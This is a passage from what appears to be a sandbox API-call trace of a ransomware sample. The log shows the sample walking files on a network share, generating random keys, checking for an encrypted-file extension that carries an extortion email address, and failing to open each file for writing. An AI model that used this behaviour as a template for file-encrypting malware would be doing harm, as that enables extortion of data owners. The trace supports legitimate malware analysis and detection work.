lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.501] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.501] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HYsyB74UdGWE4jIKpy9E.xlsx" (normalized: "\\\\192.168.0.1\\documents\\hysyb74udgwe4jikpy9e.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.503] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=38575) returned 1 [0047.503] CloseHandle (hObject=0x14c) returned 1 [0047.503] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HYsyB74UdGWE4jIKpy9E.xlsx" (normalized: "\\\\192.168.0.1\\documents\\hysyb74udgwe4jikpy9e.xlsx")) returned 0x80 [0047.503] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HYsyB74UdGWE4jIKpy9E.xlsx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\hysyb74udgwe4jikpy9e.xlsx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.503] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HYsyB74UdGWE4jIKpy9E.xlsx" (normalized: "\\\\192.168.0.1\\documents\\hysyb74udgwe4jikpy9e.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.507] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.507] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F1p7Wn.swf" (normalized: "\\\\192.168.0.1\\documents\\f1p7wn.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.509] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=48988) returned 1 [0047.509] CloseHandle (hObject=0x14c) returned 1 [0047.509] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F1p7Wn.swf" (normalized: "\\\\192.168.0.1\\documents\\f1p7wn.swf")) returned 0x80 [0047.509] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F1p7Wn.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\f1p7wn.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.509] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F1p7Wn.swf" (normalized: "\\\\192.168.0.1\\documents\\f1p7wn.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.513] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.513] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eDeo4.wav" (normalized: "\\\\192.168.0.1\\documents\\edeo4.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.515] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=79905) returned 1 [0047.515] CloseHandle (hObject=0x14c) returned 1 [0047.515] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eDeo4.wav" (normalized: "\\\\192.168.0.1\\documents\\edeo4.wav")) returned 0x80 [0047.516] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eDeo4.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\edeo4.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.516] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eDeo4.wav" (normalized: "\\\\192.168.0.1\\documents\\edeo4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.524] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.524] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D91tIUAsFS.mkv" (normalized: "\\\\192.168.0.1\\documents\\d91tiuasfs.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.525] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=29743) returned 1 [0047.525] CloseHandle (hObject=0x14c) returned 1 [0047.525] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D91tIUAsFS.mkv" (normalized: "\\\\192.168.0.1\\documents\\d91tiuasfs.mkv")) returned 0x80 [0047.526] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D91tIUAsFS.mkv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\d91tiuasfs.mkv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.526] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D91tIUAsFS.mkv" (normalized: "\\\\192.168.0.1\\documents\\d91tiuasfs.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.532] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.532] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VBDptFA1xz7efpLkn.mp4" (normalized: "\\\\192.168.0.1\\documents\\vbdptfa1xz7efplkn.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.536] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=49465) returned 1 [0047.536] CloseHandle (hObject=0x14c) returned 1 [0047.536] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VBDptFA1xz7efpLkn.mp4" (normalized: "\\\\192.168.0.1\\documents\\vbdptfa1xz7efplkn.mp4")) returned 0x80 [0047.536] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VBDptFA1xz7efpLkn.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vbdptfa1xz7efplkn.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.536] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VBDptFA1xz7efpLkn.mp4" (normalized: "\\\\192.168.0.1\\documents\\vbdptfa1xz7efplkn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.573] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.573] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WwFhNksqnjKFSaL.doc" (normalized: "\\\\192.168.0.1\\documents\\wwfhnksqnjkfsal.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.649] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=87043) returned 1 [0047.649] CloseHandle (hObject=0x14c) returned 1 [0047.649] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WwFhNksqnjKFSaL.doc" (normalized: "\\\\192.168.0.1\\documents\\wwfhnksqnjkfsal.doc")) returned 0x80 [0047.650] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WwFhNksqnjKFSaL.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\wwfhnksqnjkfsal.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.650] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WwFhNksqnjKFSaL.doc" (normalized: "\\\\192.168.0.1\\documents\\wwfhnksqnjkfsal.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.188] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0048.188] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mUs3U.jpg" (normalized: "\\\\192.168.0.1\\documents\\mus3u.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.199] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=31079) returned 1 [0048.199] CloseHandle (hObject=0x14c) returned 1 [0048.199] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mUs3U.jpg" (normalized: "\\\\192.168.0.1\\documents\\mus3u.jpg")) returned 0x80 [0048.200] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mUs3U.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\mus3u.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.200] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mUs3U.jpg" (normalized: "\\\\192.168.0.1\\documents\\mus3u.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.215] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0048.215] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\V7AkBxJ.rtf" (normalized: "\\\\192.168.0.1\\documents\\v7akbxj.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.217] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=74096) returned 1 [0048.217] CloseHandle (hObject=0x14c) returned 1 [0048.217] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\V7AkBxJ.rtf" (normalized: "\\\\192.168.0.1\\documents\\v7akbxj.rtf")) returned 0x80 [0048.218] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\V7AkBxJ.rtf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\v7akbxj.rtf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.218] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\V7AkBxJ.rtf" (normalized: "\\\\192.168.0.1\\documents\\v7akbxj.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.223] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0048.223] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\05sv4vlauTjO82QKoH.odp" (normalized: "\\\\192.168.0.1\\documents\\05sv4vlautjo82qkoh.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.224] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=80528) returned 1 [0048.225] CloseHandle (hObject=0x14c) returned 1 [0048.225] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\05sv4vlauTjO82QKoH.odp" (normalized: "\\\\192.168.0.1\\documents\\05sv4vlautjo82qkoh.odp")) returned 0x80 [0048.225] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\05sv4vlauTjO82QKoH.odp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\05sv4vlautjo82qkoh.odp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.225] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\05sv4vlauTjO82QKoH.odp" (normalized: "\\\\192.168.0.1\\documents\\05sv4vlautjo82qkoh.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.297] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0048.297] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UWPd5V722.jpg" (normalized: "\\\\192.168.0.1\\documents\\uwpd5v722.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.301] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=61231) returned 1 [0048.301] CloseHandle (hObject=0x14c) returned 1 [0048.301] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UWPd5V722.jpg" (normalized: "\\\\192.168.0.1\\documents\\uwpd5v722.jpg")) returned 0x80 [0048.302] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UWPd5V722.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\uwpd5v722.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.302] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UWPd5V722.jpg" (normalized: "\\\\192.168.0.1\\documents\\uwpd5v722.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.318] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0048.318] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\rSvaTPcyuRZ.avi" (normalized: "\\\\192.168.0.1\\documents\\rsvatpcyurz.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.345] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=95159) returned 1 [0048.345] CloseHandle (hObject=0x14c) returned 1 [0048.345] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\rSvaTPcyuRZ.avi" (normalized: "\\\\192.168.0.1\\documents\\rsvatpcyurz.avi")) returned 0x80 [0048.346] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\rSvaTPcyuRZ.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\rsvatpcyurz.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.346] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\rSvaTPcyuRZ.avi" (normalized: "\\\\192.168.0.1\\documents\\rsvatpcyurz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.599] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0048.599] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cYeVSPPEdjtBCAgcD.m4a" (normalized: "\\\\192.168.0.1\\documents\\cyevsppedjtbcagcd.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.684] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=38538) returned 1 [0048.684] CloseHandle (hObject=0x14c) returned 1 [0048.684] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cYeVSPPEdjtBCAgcD.m4a" (normalized: "\\\\192.168.0.1\\documents\\cyevsppedjtbcagcd.m4a")) returned 0x80 [0048.685] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cYeVSPPEdjtBCAgcD.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cyevsppedjtbcagcd.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.685] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cYeVSPPEdjtBCAgcD.m4a" (normalized: "\\\\192.168.0.1\\documents\\cyevsppedjtbcagcd.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.819] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0048.819] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\wPgITKWMM0.rtf" (normalized: "\\\\192.168.0.1\\documents\\wpgitkwmm0.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.820] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=49813) returned 1 [0048.820] CloseHandle (hObject=0x14c) returned 1 [0048.820] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\wPgITKWMM0.rtf" (normalized: "\\\\192.168.0.1\\documents\\wpgitkwmm0.rtf")) returned 0x80 [0048.821] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\wPgITKWMM0.rtf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\wpgitkwmm0.rtf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.821] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\wPgITKWMM0.rtf" (normalized: "\\\\192.168.0.1\\documents\\wpgitkwmm0.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.861] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0048.861] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\aYwQj9EW4jZuUePCOt1y.jpg" (normalized: "\\\\192.168.0.1\\documents\\aywqj9ew4jzuuepcot1y.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.874] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=39361) returned 1 [0048.875] CloseHandle (hObject=0x14c) returned 1 [0048.875] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\aYwQj9EW4jZuUePCOt1y.jpg" (normalized: "\\\\192.168.0.1\\documents\\aywqj9ew4jzuuepcot1y.jpg")) returned 0x80 [0048.875] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\aYwQj9EW4jZuUePCOt1y.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\aywqj9ew4jzuuepcot1y.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.875] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\aYwQj9EW4jZuUePCOt1y.jpg" (normalized: "\\\\192.168.0.1\\documents\\aywqj9ew4jzuuepcot1y.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.932] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0048.932] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hExQispuuoymhG1i192v.ppt" (normalized: "\\\\192.168.0.1\\documents\\hexqispuuoymhg1i192v.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.941] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=54002) returned 1 [0048.941] CloseHandle (hObject=0x14c) returned 1 [0048.941] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hExQispuuoymhG1i192v.ppt" (normalized: "\\\\192.168.0.1\\documents\\hexqispuuoymhg1i192v.ppt")) returned 0x80 [0048.941] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hExQispuuoymhG1i192v.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\hexqispuuoymhg1i192v.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.941] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hExQispuuoymhG1i192v.ppt" (normalized: "\\\\192.168.0.1\\documents\\hexqispuuoymhg1i192v.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.970] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0048.970] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nVlM8WgmSnZtiC.avi" (normalized: "\\\\192.168.0.1\\documents\\nvlm8wgmsnztic.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.990] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=52379) returned 1 [0048.991] CloseHandle (hObject=0x14c) returned 1 [0048.991] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nVlM8WgmSnZtiC.avi" (normalized: "\\\\192.168.0.1\\documents\\nvlm8wgmsnztic.avi")) returned 0x80 [0048.994] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nVlM8WgmSnZtiC.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nvlm8wgmsnztic.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.996] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nVlM8WgmSnZtiC.avi" (normalized: "\\\\192.168.0.1\\documents\\nvlm8wgmsnztic.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.211] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0049.211] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\d9y1S5e4eLHUosqR.png" (normalized: "\\\\192.168.0.1\\documents\\d9y1s5e4elhuosqr.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0049.249] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=62753) returned 1 [0049.250] CloseHandle (hObject=0x14c) returned 1 [0049.250] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\d9y1S5e4eLHUosqR.png" (normalized: "\\\\192.168.0.1\\documents\\d9y1s5e4elhuosqr.png")) returned 0x80 [0049.254] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\d9y1S5e4eLHUosqR.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\d9y1s5e4elhuosqr.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0049.255] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\d9y1S5e4eLHUosqR.png" (normalized: "\\\\192.168.0.1\\documents\\d9y1s5e4elhuosqr.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.840] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0049.840] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ydAClD.jpg" (normalized: "\\\\192.168.0.1\\documents\\ydacld.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0049.944] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=38977) returned 1 [0049.945] CloseHandle (hObject=0x14c) returned 1 [0049.945] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ydAClD.jpg" (normalized: "\\\\192.168.0.1\\documents\\ydacld.jpg")) returned 0x80 [0049.945] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ydAClD.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ydacld.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0049.945] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ydAClD.jpg" (normalized: 